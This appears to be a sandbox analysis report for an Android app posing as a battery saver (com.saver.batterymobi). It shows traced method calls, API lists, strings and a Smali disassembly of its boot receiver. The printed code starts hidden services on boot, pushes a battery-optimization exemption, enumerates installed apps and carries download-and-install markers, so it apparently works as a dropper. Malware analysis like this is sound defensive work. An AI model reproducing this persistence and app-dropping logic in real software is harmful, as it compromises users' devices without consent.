          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          Method: com.saver.batterymobi.lkj.jgj.jgr.onCreate:5 Show source
          NameTypeValue
          p0java.lang.String
          • toString: sensor
          NameTypeValue
          Return Valueandroid.hardware.SystemSensorManager
          • toString: android.hardware.SystemSensorManager@d2e745c
          Method: com.saver.batterymobi.lkj.jgj.jgr.onStartCommand:3 Show source
          NameTypeValue
          p0java.lang.String
          • toString: sensor
          NameTypeValue
          Return Valueandroid.hardware.SystemSensorManager
          • toString: android.hardware.SystemSensorManager@d2e745c
          Method: com.saver.batterymobi.lkj.a.c.b:6 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:15 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:25 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:35 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          Method: ..: Show source
          NameTypeValue
          p0java.lang.String
          • toString: power
          NameTypeValue
          Return Valueandroid.os.PowerManager
          • toString: android.os.PowerManager@1c71a420
          Method: com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@37ca2547
          Method: ..: Show source
          NameTypeValue
          p0java.lang.String
          • toString: power
          NameTypeValue
          Return Valueandroid.os.PowerManager
          • toString: android.os.PowerManager@1c71a420
          Method: ..: Show source
          NameTypeValue
          p0java.lang.String
          • toString: /
          NameTypeValue
          Return Valuejava.io.File
          • toString: /
          Method: ..: Show source
          NameTypeValue
          p0java.io.File
          • toString: /storage/emulated/0
          p1java.lang.String
          • toString: .
          NameTypeValue
          Return Valuejava.io.File
          • toString: /storage/emulated/0/.
          Method: androidx.versionedparcelable.a.a:34 Show source
          Method: androidx.versionedparcelable.a.a:16 Show source
          Method: ..: Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.graphics.Insets
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class android.graphics.Insets
          • getName: android.graphics.Insets
          Method: androidx.versionedparcelable.a.a:25 Show source
          Method: androidx.versionedparcelable.a.a:25 Show source
          Method: ..: Show source
          NameTypeValue
          p0java.lang.String
          • toString: computeFitSystemWindows
          p1[Ljava.lang.Class;
          • toString: [Ljava.lang.Class;@a27344e
          • Arrays.toString: [class android.graphics.Rect, class android.graphics.Rect]
          NameTypeValue
          Return Valuejava.lang.reflect.Method
          • toString: protected boolean android.view.View.computeFitSystemWindows(android.graphics.Rect,android.graphics.Rect)
          • getName: computeFitSystemWindows
          Method: ..: Show source
          NameTypeValue
          p0java.lang.String
          • toString: makeOptionalFitsSystemWindows
          p1[Ljava.lang.Class;
          • toString: [Ljava.lang.Class;@33c6475a
          NameTypeValue
          Return Valuejava.lang.reflect.Method
          • toString: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
          • getName: makeOptionalFitsSystemWindows
          Method: com.saver.batterymobi.lkj.a.c.b:3 Show source
          Method: com.saver.batterymobi.lkj.a.c$a.a:6 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:37 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:73 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:133 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:159 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:171 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:183 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:195 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:207 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:219 Show source
          Method: com.saver.batterymobi.lkj.a.c.d:3 Show source
          Method: androidx.versionedparcelable.a.c:9 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:5 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:61 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:233 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:249 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.onReceive:285 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.onCreate:8 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:45 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:55 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:65 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:75 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:85 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:95 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:105 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:115 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:125 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:131 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:33 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:64 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:91 Show source
          Method: com.saver.batterymobi.lkj.jgj.edw.onStartCommand:34 Show source
          Method: com.saver.batterymobi.lkj.jgj.edw.onStartCommand:42 Show source
          Method: androidx.versionedparcelable.a.a:17 Show source
          Method: com.saver.batterymobi.lkj.a.c.c:3 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:13 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:30 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:54 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:72 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:91 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:153 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:3 Show source
          Method: androidx.versionedparcelable.a.b:1 Show source
          Method: androidx.versionedparcelable.a.b:18 Show source
          Method: com.saver.batterymobi.lkj.a.c.g:3 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:13 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:34 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:119 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:270 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:327 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:410 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:422 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:434 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:446 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:464 Show source
          Method: androidx.versionedparcelable.b.g:10 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:16 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.<init>:10 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.<init>:14 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:22 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:24 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.onCreate:71 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.onCreate:73 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.<clinit>:8 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.<clinit>:12 Show source
          Method: com.saver.batterymobi.lkj.zxs.frw.onCreate:17 Show source
          Method: com.saver.batterymobi.lkj.zxs.frw.onCreate:22 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:39 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:43 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.<clinit>:8 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.<clinit>:12 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:146 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:153 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:20 Show source
          Method: com.saver.batterymobi.lkj.jgj.edw.onStartCommand:38 Show source
          Method: com.saver.batterymobi.lkj.jgj.edw.onStartCommand:46 Show source
          Method: androidx.versionedparcelable.b.c:20 Show source
          Method: androidx.versionedparcelable.b.c:24 Show source
          Method: com.saver.batterymobi.lkj.a.a$a.a:27 Show source
          Method: com.saver.batterymobi.lkj.a.a$a.a:36 Show source
          Method: com.saver.batterymobi.MainActivity.<init>:10 Show source
          Method: com.saver.batterymobi.MainActivity.<init>:14 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:7 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:11 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:43 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:47 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:49 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:91 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:95 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:97 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:106 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:108 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:112 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:119 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:16 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:20 Show source
          Method: androidx.versionedparcelable.a.b:24 Show source
          Method: androidx.versionedparcelable.a.b:28 Show source
          Method: com.saver.batterymobi.MainActivity.a:8 Show source
          Method: com.saver.batterymobi.MainActivity.a:15 Show source
          Method: com.saver.batterymobi.MainActivity.a:19 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:9 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:22 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.<init>:18 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.<init>:22 Show source
          Method: com.saver.batterymobi.MainActivity$1.onReceive:26 Show source
          Method: com.saver.batterymobi.MainActivity$1.onReceive:30 Show source
          Method: com.saver.batterymobi.MainActivity.b:16 Show source
          Method: com.saver.batterymobi.MainActivity.b:18 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:54 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:61 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:65 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:67 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:71 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:73 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:77 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:84 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:88 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:96 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:134 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:141 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:145 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:147 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:151 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:153 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:157 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:164 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:168 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:176 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:198 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:200 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:245 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:247 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:304 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:311 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:315 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:319 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:323 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:331 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:335 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:340 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:344 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:351 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:355 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:363 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:385 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:387 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:25 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:27 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:43 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:45 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:49 Show source
          Method: com.saver.batterymobi.lkj.dsf.brt.<init>:16 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:26 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.onCreate:75 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.<clinit>:14 Show source
          Method: com.saver.batterymobi.lkj.zxs.frw.onCreate:24 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:45 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.<clinit>:14 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg$b.onPageFinished:155 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:24 Show source
          Method: com.saver.batterymobi.lkj.jgj.edw.onStartCommand:48 Show source
          Method: androidx.versionedparcelable.b.c:26 Show source
          Method: com.saver.batterymobi.lkj.a.a$a.a:38 Show source
          Method: com.saver.batterymobi.MainActivity.<init>:16 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:13 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:51 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:99 Show source
          Method: com.saver.batterymobi.lkj.jgj.ecr.a:121 Show source
          Method: com.saver.batterymobi.lkj.a.c.a:22 Show source
          Method: androidx.versionedparcelable.a.b:30 Show source
          Method: com.saver.batterymobi.MainActivity.a:21 Show source
          Method: com.saver.batterymobi.lkj.a.c.b:24 Show source
          Method: com.saver.batterymobi.lkj.zxs.drg.<init>:24 Show source
          Method: com.saver.batterymobi.MainActivity$1.onReceive:32 Show source
          Method: com.saver.batterymobi.MainActivity.b:20 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:90 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:98 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:170 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:178 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:202 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:249 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:357 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:365 Show source
          Method: com.saver.batterymobi.lkj.jgj.esd.a:389 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:29 Show source
          Method: com.saver.batterymobi.lkj.jgj.jgr.a:51 Show source

          14 Executed Methods

          APIs
          • java.lang.Object.getClass
          • java.lang.String.contains
          • com.saver.batterymobi.lkj.a.c.b
          • java.lang.Integer.parseInt
          • java.lang.Object.getClass
          • com.saver.batterymobi.lkj.dsf.brt.a
          • android.content.Intent.<init>
          • android.content.Context.startService
          • com.saver.batterymobi.lkj.dsf.brt.a
          • android.content.Intent.<init>
          • android.content.Context.startService
          • com.saver.batterymobi.lkj.dsf.brt.a
          • android.content.Intent.<init>
          • com.saver.batterymobi.lkj.dsf.brt.a
          • android.content.Intent.<init>
          • android.app.ReceiverRestrictedContext.startService
          • com.saver.batterymobi.lkj.dsf.brt.a
          • android.content.Intent.<init>
          • android.content.Context.startService
          • com.saver.batterymobi.lkj.dsf.brt.a
          • android.content.Intent.<init>
          • android.content.Context.startService
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • android.content.Context.startActivity
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • android.content.Context.startActivity
          • java.lang.Object.getClass
          • java.lang.String.length
          • java.lang.Object.getClass
          • android.content.Context.getPackageManager
          • android.content.pm.PackageManager.getInstalledApplications
          • java.util.List.iterator
          • java.util.Iterator.hasNext
          • java.util.Iterator.next
          • java.lang.String.contains
          • java.lang.Object.getClass
          • android.content.Intent.<init>
          • android.content.Context.startActivity
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • android.content.Context.startActivity
          Strings
          • kill
          • dead
          • START >> Boot Receiver
          • step
          • No Doze Mode
          • ERROR {ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}
          • No permission Storage
          • ERROR {Permission}
          • urlDownloadApp
          • packageApp
          • statusInstall
          • true
          Position Instruction Meta Information
          1iget-object p2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          3iget-object v0, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->b:Lcom/saver/batterymobi/lkj/a;
          5invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          7const-string v0, "kill"
          9invoke-virtual {p2, p1, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          10move-result-object p2
          12const-string v0, "dead"
          14invoke-virtual {p2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          15move-result p2
          16if-nez p2, :cond_1bb
          18iget-object p2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          20invoke-virtual {p2}, Lcom/saver/batterymobi/lkj/a/c;->b()Z
          • Time: 2716446954
            • This:
              • com.saver.batterymobi.lkj.a.c@3aa01b18
            • Return:
              • false
          21move-result p2
          22if-nez p2, :cond_1bb
          24iget-object p2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          26iget-object v0, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->c:Ljava/lang/String;
          28const-string v1, "START >> Boot Receiver"
          30invoke-virtual {p2, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          31sget p2, Landroid/os/Build$VERSION;->SDK_INT:I
          32const/16 v0, 0x18
          33if-lt p2, v0, :cond_36
          35iget-object p2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          37const-string p2, ""
          38const-wide/16 v0, 0x2710
          39goto_32:
          40invoke-static {p1, p2, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;J)V
          41goto/16 :goto_3d
          42cond_36:
          43iget-object p2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          45const-string p2, ""
          46const-wide/16 v0, 0x3e80
          47goto/16 :goto_32
          48goto_3d:
          49iget-object p2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          51const-string v0, "step"
          53invoke-virtual {p2, p1, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          54move-result-object p2
          56invoke-static {p2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
          57move-result p2
          59iget-object v0, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->b:Lcom/saver/batterymobi/lkj/a;
          61invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          62const/4 v0, 0x0
          63const/4 v1, 0x1
          64if-lt p2, v1, :cond_54
          65const/4 p2, 0x1
          66goto/16 :goto_55
          67cond_54: const/4 p2, 0x0
          68goto_55: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
          69const/16 v3, 0x1a
          70if-lt v2, v3, :cond_9d
          72iget-object v2, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          74invoke-virtual {v2, p1}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          75move-result v2
          76if-eqz v2, :cond_d9
          77const-class v2, Lcom/saver/batterymobi/lkj/jgj/jgr;
          79invoke-direct {p0, p1, v2}, Lcom/saver/batterymobi/lkj/dsf/brt;->a(Landroid/content/Context;Ljava/lang/Class;)Z
          80move-result v2
          81if-nez v2, :cond_75
          82new-instance v2, Landroid/content/Intent;
          83const-class v3, Lcom/saver/batterymobi/lkj/jgj/jgr;
          85invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          87invoke-virtual {p1, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
          88cond_75: if-eqz p2, :cond_d9
          89const-class v2, Lcom/saver/batterymobi/lkj/jgj/ecr;
          91invoke-direct {p0, p1, v2}, Lcom/saver/batterymobi/lkj/dsf/brt;->a(Landroid/content/Context;Ljava/lang/Class;)Z
          92move-result v2
          93if-nez v2, :cond_8b
          94if-eqz p2, :cond_8b
          95new-instance v2, Landroid/content/Intent;
          96const-class v3, Lcom/saver/batterymobi/lkj/jgj/ecr;
          98invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          100invoke-virtual {p1, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
          101cond_8b: const-class v2, Lcom/saver/batterymobi/lkj/jgj/esd;
          103invoke-direct {p0, p1, v2}, Lcom/saver/batterymobi/lkj/dsf/brt;->a(Landroid/content/Context;Ljava/lang/Class;)Z
          104move-result v2
          105if-nez v2, :cond_d9
          106if-eqz p2, :cond_d9
          107new-instance p2, Landroid/content/Intent;
          108const-class v2, Lcom/saver/batterymobi/lkj/jgj/esd;
          110invoke-direct {p2, p1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          111goto/16 :goto_d6
          112cond_9d: const-class v2, Lcom/saver/batterymobi/lkj/jgj/jgr;
          114invoke-direct {p0, p1, v2}, Lcom/saver/batterymobi/lkj/dsf/brt;->a(Landroid/content/Context;Ljava/lang/Class;)Z
          115move-result v2
          116if-nez v2, :cond_af
          117new-instance v2, Landroid/content/Intent;
          118const-class v3, Lcom/saver/batterymobi/lkj/jgj/jgr;
          120invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          122invoke-virtual {p1, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
          • Time: 2716447003
            • This:
              • android.app.ReceiverRestrictedContext@afd0971
            • p0: Intent { cmp=com.saver.batterymobi/.lkj.jgj.jgr }
            • Return:
              • ComponentInfo{com.saver.batterymobi/com.saver.batterymobi.lkj.jgj.jgr}
          123cond_af: if-eqz p2, :cond_d9
          124const-class v2, Lcom/saver/batterymobi/lkj/jgj/ecr;
          126invoke-direct {p0, p1, v2}, Lcom/saver/batterymobi/lkj/dsf/brt;->a(Landroid/content/Context;Ljava/lang/Class;)Z
          127move-result v2
          128if-nez v2, :cond_c5
          129if-eqz p2, :cond_c5
          130new-instance v2, Landroid/content/Intent;
          131const-class v3, Lcom/saver/batterymobi/lkj/jgj/ecr;
          133invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          135invoke-virtual {p1, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
          136cond_c5: const-class v2, Lcom/saver/batterymobi/lkj/jgj/esd;
          138invoke-direct {p0, p1, v2}, Lcom/saver/batterymobi/lkj/dsf/brt;->a(Landroid/content/Context;Ljava/lang/Class;)Z
          139move-result v2
          140if-nez v2, :cond_d9
          141if-eqz p2, :cond_d9
          142new-instance p2, Landroid/content/Intent;
          143const-class v2, Lcom/saver/batterymobi/lkj/jgj/esd;
          145invoke-direct {p2, p1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          146goto_d6:
          147invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
          148cond_d9: const/high16 p2, 0x40000000 # 2.0f
          149const/high16 v2, 0x10000000
          150try_start_dd:
          151iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          153invoke-virtual {v3, p1}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          154move-result v3
          155if-nez v3, :cond_108
          157iget-object v3, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->a:Lcom/saver/batterymobi/lkj/a/c;
          159iget-object v4, p0, Lcom/saver/batterymobi/lkj/dsf/brt;->c:Ljava/lang/String;
          161const-string v5, "No Doze Mode"
          163invoke-virtual {v3, v4, v5}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          164new-instance v3, Landroid/content/Intent;
          165const-class v4, Lcom/saver/batterymobi/lkj/zxs/frw;
          167invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          169invoke-virtual {v3, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          171invoke-virtual {v3, p2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          173invoke-virtual {p1, v3}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          174try_end_fe: goto/16 :goto_108
          175catch_ff:
